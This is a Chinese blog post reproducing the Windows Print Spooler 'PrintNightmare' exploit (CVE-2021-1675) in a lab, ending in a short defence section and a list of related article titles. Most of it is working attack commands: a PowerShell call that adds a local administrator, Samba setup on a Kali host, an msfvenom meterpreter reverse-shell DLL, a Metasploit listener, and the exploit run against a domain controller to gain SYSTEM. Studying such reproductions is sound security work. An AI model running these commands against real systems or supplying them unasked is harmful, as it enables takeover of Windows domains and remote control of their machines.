【漏洞复现】Windows Print Spooler RCE

前言

Windows Print Spooler是Windows的打印机后台处理程序,广泛的应用于各种内网中,攻击者可以通过该漏洞绕过PfcAddPrinterDriver的安全验证,并在打印服务器中安装恶意的驱动程序。

若攻击者所控制的用户在域中,则攻击者可以连接到DC中的Spooler服务,并利用该漏洞在DC中安装恶意的驱动程序,完整的控制整个域环境。

攻击者可以利用任何经过身份验证的用户都可以调用RpcAddPrinterDriverEx()并指定位于远程服务器上的驱动程序文件这一事实。这会导致 Print Spooler 服务spoolsv.exe以 SYSTEM 权限执行任意 DLL 文件中的代码。

0x00 PowerShell脚本实现本地提权

漏洞环境:Windows10 2004 家庭版

漏洞条件:(默认)开启Print Spooler服务

漏洞EXP:https://github.com/calebstewart/CVE-2021-1675

Import-Module .\CVE-2021-1675.ps1
Invoke-Nightmare -NewUser "john" -NewPassword "P@ssw0rd" -DriverName "Win"net localgroup Administrators

runas /user:john powershell.exe  # 以john身份启动powershell.exe

0x01 Windows Spooler Service RCE 域控

漏洞环境

受害机:【域控】Windows server 2019(192.168.138.128)
攻击机:Kali(192.168.138.131)

漏洞条件

  • 域控中一个普通的域用户harden

  • 域控默认开启Spooler服务

  • 域控开启SMB服务
  • 域控Windows Defender及相关安全防护关闭
"0xe1 - ERROR VIRUS INFECTED"

漏洞利用

首先,在攻击机Kali中配置SMB服务

nano /etc/samba/smb.conf
[global]
workgroup = workgroup
server string = test
netbios name = MZ
security = user
map to guest = Bad User
smb ports = 445
log file = /var/log/samba/log.%m
max log size = 5[smb]
comment = Samba
browseable = yes
writeable = yes
public = yes
path = /tmp/
read only = no
guest ok = yes

配置成功后开启SMB服务,sudo service smbd start,使用域控访问SMB服务,可以正常访问

现在,在Kali中安装漏洞利用所需要的修改版的impacket模块

git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install

进而将EXP下载到本地

git clone https://github.com/cube0x0/CVE-2021-1675.git
cd CVE-2021-1675/
python3 CVE-2021-1675.py -h

接着,通过以下命令来验证域控是否存在漏洞

rpcdump.py @192.168.138.128  | grep MS-RPRN

此时,准备工作就绪,我们正式开始漏洞利用!

在可被域控通过SMB服务访问到的Kali/tmp目录下生成dll文件

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.138.131 LPORT=4444 -f dll -o /rever.dll

使用MSF设置监听

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.138.131
set lport 4444

最后,执行如下命令,MSF上线

# python3 CVE-2021-1675.py AD域名/普通域用户:用户密码@域控地址 ‘恶意dll文件共享地址’
python3 CVE-2021-1675.py Nets.Brooklyn/harden:xxxxxx@192.168.138.128 '\\192.168.138.131\smb\rever.dll'

可以看到,成功弹回域控权限:nt authority\system

0x02 踩坑

1、在域控中创建新用户时,默认设置了用户下次登录必须修改密码

创建用户harden之后未进行首次登录修改密码,在最后一步漏洞执行时显示连接失败

2、域控Windows Defender未关闭,在最后一步漏洞执行时报错

0x03 漏洞防御

https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-1675

  • 禁用samba服务于Print Spooler服务

运行中输入services.msc选择print spooler服务禁用

参考

cve-2021-1675复现

CVE-2021-1675-and-CVE-2021-34527-PrintNightmare

Win10 Windows Server2019局域网SMB不能正常共享解决办法

Windows Print Spooler远程代码执行漏洞复现(CVE-2021-1675)

【CVE-2021-1675】Windows Print Spooler RCE相关推荐

  1. CVE-2021-1675: Windows Print Spooler远程代码执行漏洞

    ** 赶紧点击上方话题进行订阅吧!** 报告编号:B6-2021-062902 报告来源:360CERT 报告作者:360CERT 更新日期:2021-06-29 1 漏洞简述 2021年06月29日 ...

  2. CVE-2021-34527: Windows Print Spooler 蠕虫级远程代码执行漏洞

    报告编号:B6-2021-062902 报告来源:360CERT 报告作者:360CERT 更新日期:2021-07-02 1 更新概览 1.漏洞简述新增360CERT对CVE-2021-34527( ...

  3. Windows Print Spooler 远程代码执行漏洞(CVE-2021-1675)

    ​ 点击上方 订阅话题 第一时间了解漏洞威胁 0x01 漏洞描述 Windows Print Spooler是Windows的打印机后台处理程序,广泛的应用于各种内网中. 微软在2021年6月的安全更 ...

  4. Windows Print Spooler 远程代码执行漏洞(CVE-2021-34527)

    ​ 点击上方 订阅话题 第一时间了解漏洞威胁 0x01 漏洞描述 Windows Print Spooler是Windows的打印机后台处理程序,广泛的应用于各种内网中. 360漏洞云监测到微软最新披 ...

  5. Windows Print Spooler CVE-2021-1675 漏洞复现

    Windows Print Spooler CVE-2021-1675 漏洞复现 Created: July 7, 2021 5:25 PM 漏洞描述 Windows Print Spooler是Wi ...

  6. Windows Print Spooler服务最新漏洞CVE-2021-34527详解

    0x00 前言 近日,有安全研究员在github上公开了"CVE-2021-1675"的exp PrintNightmare,后经验证公开的exp是一个与CVE-2021-1675 ...

  7. 【Hack The Box】windows练习-- Silo

    HTB 学习笔记 [Hack The Box]windows练习-- Silo

  8. 【Hack The Box】windows练习-- love

    HTB 学习笔记 [Hack The Box]windows练习-- love

  9. 【Hack The Box】windows练习-- Object

    HTB 学习笔记 [Hack The Box]windows练习-- Object

  10. 【张宇2021考研】数学二(样卷)扫描版

    [张宇2021考研]数学二(样卷)扫描版 链接: https://pan.baidu.com/s/1HuyOP_UOVbBJ16_C6f_A-g 提取码: j98g 复制这段内容后打开百度网盘手机Ap ...

最新文章

  1. 教你如何运用可视化理解卷积神经网络(CNNs)的指南
  2. axios vue 回调函数_Vue 02 —— Vue 入门小案例~使用 Axios 中的GET、POST请求
  3. TCP和UDP套接字编程
  4. 2014\Province_C_C++_B\7 六角填数
  5. 猜数游戏,随机目标数字,直到猜中退出
  6. rabbitmq生产者基于事务实现发送确认
  7. C# 计算代码执行时间
  8. kubernetes 部署 dashboard(详细步骤)
  9. Mac OS X上使用Wireshark(可用)
  10. Hadoop大数据综合案例3-MapReduce数据预处理
  11. github客户端的使用
  12. 【必看】AVAudioPlayer播放声音时加入了后台播放功能,看懂了吗?
  13. SVN上传的时候没法显示文件名,只显示后缀名
  14. JavaWeb项目开发案例精粹-第4章博客网站系统-003Dao层
  15. IDEA免费教育申请(不需要教育邮箱,只要你是学生!!!)
  16. echart 折线图 ---- 坐标轴、网格、折线配置
  17. Prometheus告警功能——对接邮箱
  18. 微信怎么传较大视频?微信怎么传特别大的视频?
  19. Python lDLE软件实现清屏功能
  20. matlab机器学习入门---大纲

热门文章

  1. workman php 视频,利用workerman实现webrtc实时音视频通话
  2. C语言项目-后宫选妃系统-第二天
  3. 23.Consent 代码重构
  4. 计算机网络:网络地址-MAC地址、IP地址、子网掩码
  5. 一加5应用未安装怎么解决_如何解决一加手机x安装不了软件下载的问题?
  6. DNS解析域名解析过程
  7. 保利威视云直播的python API
  8. 关于openssl 的几个key的生成方式
  9. MySQL 中 TIMESTAMP 类型返回日期时间数据中带有 T
  10. MATLAB/Simulink仿真 并网型风光混储直流微电网 实现:功率分配、削峰填谷、平抑功率波